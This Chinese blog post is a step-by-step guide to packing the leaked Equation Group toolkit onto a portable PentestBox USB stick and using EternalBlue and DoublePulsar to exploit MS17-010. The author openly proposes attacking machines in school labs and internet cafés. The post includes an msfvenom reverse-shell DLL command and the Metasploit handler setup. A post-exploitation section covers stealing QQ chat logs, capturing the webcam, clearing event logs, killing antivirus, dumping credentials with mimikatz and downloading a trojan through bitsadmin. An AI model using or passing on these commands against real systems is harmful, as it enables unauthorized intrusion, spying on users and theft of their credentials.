利用Pentestbox打造MS17-010移动杀器
ssooking Lv5

本文首发Freebuf,属原创奖励计划,未经许可禁止转载。

链接:http://www.freebuf.com/articles/system/132274.html

一. 前言

  前段时间Shadow Broker披露了 Windows大量漏洞,甚至爆出黑客组织 Equation Group 对于Windows 远程漏洞 MS17-010 的利用工具,该漏洞影响范围之广,堪称杀器。可以看看官方通告https://technet.microsoft.com/zh-cn/library/security/ms17-010.aspx

  于是想着把攻击环境移植到u盘里,然后比如去学校机房,网吧。。。。。。

  这里分享一下个人的移植过程,以及在使用攻击代码过程中遇到的问题。

二. 环境移植过程

思路就是利用现成的神器pentestbox,向里添加攻击代码以及其运行需要的pytho环境

Pentest Box是一款Windows平台下预配置的便携式开源渗透测试环境,集成了各种编译运行环境,具体的可以到网上了解一下。

  1. 工具准备:

Pentestbox:

https://pentestbox.org/zh/

方程式工具包:

EQGRP_Lost_in_Translation

https://github.com/x0rz/EQGRP_Lost_in_Translation/tree/master

python环境

必须在Python2.6 和 pywin32-221环境下,如果你用其他环境,会报各种诸如模块/dll缺失等错误

img

Python2.6 和 pywin32-221位数需要相同,我用的是32位的

Python2.6.6 (32)

下载链接:https://www.python.org/download/releases/2.6.6/

pywin32-221(32)

下载链接:

https://sourceforge.net/projects/pywin32/files/pywin32/Build%20221/pywin32-221.win32-py2.6.exe/download

  1. Pentestbox下python2.6环境配置

分别安装,然后你会得到攻击包运行的python2.6环境

img

在Python26\Lib\site-packages目录下,你会发现插件也已经安装

img

然后把python26这个文件夹拷贝到你的pentestbox环境变量目录下:Pentestbox\base

刚才你也可以直接装到pentestbox\base下

img

然后我们添加python2.6环境变量,在Pentestbox \config\alias文件中加一行

python26=”%pentestbox_ROOT%\base\Python26\python.exe” $*

img

然后我们启动pentestbox,由于pentestbox通过线程注入挂钩cmd.exe来调用系统命令,因此杀软可能会提示警告,信任即可。

img

这个时候,我们运行python26可以看到环境配置成功

img

\3. 漏洞利用工具配置

我们下载EQGRP_Lost_in_Translation工具包,修改windows目录下fb.py,去除不必要的代码

img

img

然后我们把windows文件夹复制到pentestbox目录下

img

这里我把windows里的文件放到pentestbox根目录下的ms17-010文件夹内

img

我们进入ms07-010目录并执行python26 fb.py

img

这样我们就可以启动攻击程序了

img

三. 攻击示例

攻击机:192.168.1.106

靶机: 192.168.1.111 windows x64 SP1

我们先用msf生成dll木马,用于控制目标

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxxx LPORT=9999 -f dll > 9999-64.dll

Pentestbox里自带的metasploit框架我在使用总是时出现问题,我一般不用它,我通常是在自己的vps服务器进行监听

本地测试时候可以找一台kali攻击机

dll木马我们可以提前生成好放在u盘里带着,随时备用*_*

接下来我们用Msf进行监听

**  use exploit/multi/handler**

**  set payload windows/x64/meterpreter/reverse_tcp**

**  set LHOST IP** (这里填写vps的内网ip,记得开放监听端口)

**  set LPORT 9999**

**  set stagerverifysslcert false**

**  exploit -j**

img

如果没有设置set stagerverifysslcert false,获取shell的时候可能会出现这样的情况

img

回到fb.py中,开始攻击

[?] Default Target IP Address [] : 攻击目标

[?] Default Callback IP Address [] : 本机ip

[?] Use Redirection [yes] : no 是否重定向

[?] Base Log directory [D:\logs] : 是否输出日志

然后创建一个项目实例

img

如果你之前创建过实例,可以选择它,改设置,也可以重新创建一个

img

输入命令 use 可以查看我们利用的exp模块

我们使用EternalBlue模块,use EternalBlue

img

下面一直回车就行。。。

img

选择攻击目标的系统

img

这里会询问你payload传输方式 选择1,感觉更稳定些

img

img

继续回车,确认信息

img

img

成功之后,我们使用doublepulsar模块

img

继续一路回车

img

选择协议

img

选择目标系统

img

选择攻击方式,我们利用dll木马

img

设置dll木马路径,我已经提前生成好放在u盘里随身携带,随时备用~

img

img

然后设置要注入的程序,默认是lsass.exe

img

这里注入的进程会对目标造成影响,也试了几个其他程序,比如注explorer时候,会弹出一个报错框

注入其他进程,有时候或多或少都会出那么点问题

img

img

然后是一路回车

img

img

img

最后一步执行攻击

img

Msf这里成功获取shell

img

img

截个屏看看

img

img

一个正在成长中的团队,欢迎交流,分享,合作~

四. 后渗透辅助命令

配合下面的一些命令,happy to play~

meterpreter

upload /root/nc.exe c:\windows\system32  #上传文件

search –d c:\windows –f *.mdb      #在目标主机Windows目录中搜索文件s

执行程序

execute -H -i -f cmd.exe #隐藏执行cmd并与之交互

execute -H -m -d calc.exe -f wce.exe -a “-o foo.txt” #隐藏执行,并显示虚假运行程序

我们可以用远控生成一个木马传过去

img

img

img

例:下载目标聊天记录到本地/tmp目录下,可用Qqlogger查看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
download c:\\Programs Files\\Tecent\\QQ\\Users\\qq号\\Msg2.0.db /tmp
run webcam -p 图片保存路径   #开启目标摄像头并截图
run packetrecorder –i 会话序号   #捕获流量数据包.pcap

提权
use privs
getsystem
getuid

clearev --清除日志
run killav --干掉杀软

文件关联
改变文件类型关联DLL到 txt文件类型: assoc .dll=txtfile
改变文件类型关联EXE 到png文件类型: assoc .exe=pngfile
改变文件类型关联MP3到jpg文件类型: assoc .mp3=jpgfile

Hash获取
hashdump或run hashdump或run smart_hashdump
>run post/windows/gather/hashdump
>run /windows/gather/smart_hashdump --可绕过windows UAC控制

用kiwi获取明文密码:
meterpreter>load kiwi
meterpreter> creds_all

Metaspolit中使用Mimikatz:
使用metasploit内建的命令:
meterpreter > load mimikatz
meterpreter > msv #msv creden
meterpreter > kerberostials #kerberos credentials

使用mimikatz自带的命令:
meterpreter > mimikatz_command -f samdump::hashes
meterpreter > mimikatz_command -f sekurlsa::searchPasswords
<前面一句命令在密码超过14位时LM会为空,后一句命令可以得到明文>

利用windows命令下载文件
bitsadmin /transfer mydownJob /download /priority normal “[http://url/muma.exe"](http://url/muma.exe) "F:\muma.exe "
详细用法可参考:https://technet.microsoft.com/zh-cn/library/cc753856(v=ws.10).aspx

最后:

今天下午有人在i春秋发布了批量利用程序

https://bbs.ichunqiu.com/thread-21863-1-1.html~

  • Post title:利用Pentestbox打造MS17-010移动杀器
  • Post author:ssooking
  • Create time:2017-04-24 00:00:00
  • Post link:https://ssooking.github.io/2017/04/利用pentestbox打造ms17-010移动杀器/
  • Copyright Notice:All articles in this blog are licensed under BY-NC-SA unless stating additionally.